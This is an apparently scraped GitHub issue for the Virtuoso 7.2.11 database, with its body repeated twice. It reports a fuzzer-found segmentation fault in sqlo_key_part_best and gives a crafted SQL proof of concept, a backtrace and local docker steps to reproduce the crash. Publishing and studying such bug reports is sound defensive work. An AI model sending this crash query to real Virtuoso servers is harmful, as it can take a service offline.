The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 DECIMAL NOT NULL PRIMARY KEY CHECK ( v1 = v1 AND v1 = v1 AND v1 = v1 ) UNIQUE ) ; 
  CREATE VIEW v2 AS SELECT v1 FROM v0 WHERE v1 = CASE -1 WHEN 84 THEN ( SELECT DISTINCT v1 FROM v0 WHERE v1 < 35094152.000000 ORDER BY v1 ) END AND 9927111.000000 / ( 39 ) ; 
  SELECT v1 FROM v0 ORDER BY CASE WHEN v1 = 'x' AND ( SELECT v1 FROM v2 WHERE 33 LIKE 'x' AND ( 0 ) ORDER BY v1 ) AND 'x' >= 0 AND v1 <= 0 THEN NULL ELSE -2147483648 END ; 
```

backtrace:
```c
#0 0x6f23d7 (sqlo_key_part_best+0x247)
#1 0x6d006f (dfe_table_cost_ic_1+0x43f)
#2 0x6d3801 (dfe_table_cost_ic+0x71)
#3 0x6d82c3 (dfe_table_cost+0xc3)
#4 0x7854c7 (sqlo_try_oby_order+0x827)
#5 0x70a88b (sqlo_layout_1+0x57b)
#6 0x6eadab (sqlo_layout+0x5fb)
#7 0x6e66f0 (sqlo_place_exp+0x1540)
#8 0x6e5748 (sqlo_place_exp+0x598)
#9 0x6e542b (sqlo_place_exp+0x27b)
#10 0x6e5444 (sqlo_place_exp+0x294)
#11 0x6e542b (sqlo_place_exp+0x27b)
#12 0x6e6009 (sqlo_place_exp+0xe59)
#13 0x787ee3 (sqlo_fun_ref_epilogue+0x1373)
#14 0x70b02e (sqlo_layout_1+0xd1e)
#15 0x70ad2c (sqlo_layout_1+0xa1c)
#16 0x6eadab (sqlo_layout+0x5fb)
#17 0x70eb45 (sqlo_top_2+0x335)
#18 0x70e4a5 (sqlo_top_1+0x135)
#19 0x70ffa6 (sqlo_top_select+0x156)
#20 0x6b9b6f (sql_stmt_comp+0x8bf)
#21 0x6bc9d2 (sql_compile_1+0x1a62)
#22 0x7cba60 (stmt_set_query+0x340)
#23 0x7cd952 (sf_sql_execute+0x922)
#24 0x7cecde (sf_sql_execute_w+0x17e)
#25 0x7d799d (sf_sql_execute_wrapper+0x3d)
#26 0xe214bc (future_wrapper+0x3fc)
#27 0xe28dbe (_thread_boot+0x11e)
#28 0x7f6f82d5e609 (start_thread+0xd9)
#29 0x7f6f82b2e133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at `sqlo_key_part_best`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at `sqlo_key_part_best`
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 DECIMAL NOT NULL PRIMARY KEY CHECK ( v1 = v1 AND v1 = v1 AND v1 = v1 ) UNIQUE ) ; 
  CREATE VIEW v2 AS SELECT v1 FROM v0 WHERE v1 = CASE -1 WHEN 84 THEN ( SELECT DISTINCT v1 FROM v0 WHERE v1 < 35094152.000000 ORDER BY v1 ) END AND 9927111.000000 / ( 39 ) ; 
  SELECT v1 FROM v0 ORDER BY CASE WHEN v1 = 'x' AND ( SELECT v1 FROM v2 WHERE 33 LIKE 'x' AND ( 0 ) ORDER BY v1 ) AND 'x' >= 0 AND v1 <= 0 THEN NULL ELSE -2147483648 END ; 
```

backtrace:
```c
#0 0x6f23d7 (sqlo_key_part_best+0x247)
#1 0x6d006f (dfe_table_cost_ic_1+0x43f)
#2 0x6d3801 (dfe_table_cost_ic+0x71)
#3 0x6d82c3 (dfe_table_cost+0xc3)
#4 0x7854c7 (sqlo_try_oby_order+0x827)
#5 0x70a88b (sqlo_layout_1+0x57b)
#6 0x6eadab (sqlo_layout+0x5fb)
#7 0x6e66f0 (sqlo_place_exp+0x1540)
#8 0x6e5748 (sqlo_place_exp+0x598)
#9 0x6e542b (sqlo_place_exp+0x27b)
#10 0x6e5444 (sqlo_place_exp+0x294)
#11 0x6e542b (sqlo_place_exp+0x27b)
#12 0x6e6009 (sqlo_place_exp+0xe59)
#13 0x787ee3 (sqlo_fun_ref_epilogue+0x1373)
#14 0x70b02e (sqlo_layout_1+0xd1e)
#15 0x70ad2c (sqlo_layout_1+0xa1c)
#16 0x6eadab (sqlo_layout+0x5fb)
#17 0x70eb45 (sqlo_top_2+0x335)
#18 0x70e4a5 (sqlo_top_1+0x135)
#19 0x70ffa6 (sqlo_top_select+0x156)
#20 0x6b9b6f (sql_stmt_comp+0x8bf)
#21 0x6bc9d2 (sql_compile_1+0x1a62)
#22 0x7cba60 (stmt_set_query+0x340)
#23 0x7cd952 (sf_sql_execute+0x922)
#24 0x7cecde (sf_sql_execute_w+0x17e)
#25 0x7d799d (sf_sql_execute_wrapper+0x3d)
#26 0xe214bc (future_wrapper+0x3fc)
#27 0xe28dbe (_thread_boot+0x11e)
#28 0x7f6f82d5e609 (start_thread+0xd9)
#29 0x7f6f82b2e133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in the Virtuoso 7.2.11 database server occurs when executing a crafted SQL statement, which can lead to a Denial of Service (DoS). The issue arises from the `sqlo_key_part_best` function, which fails to handle certain edge cases in the SQL execution path, resulting in a crash.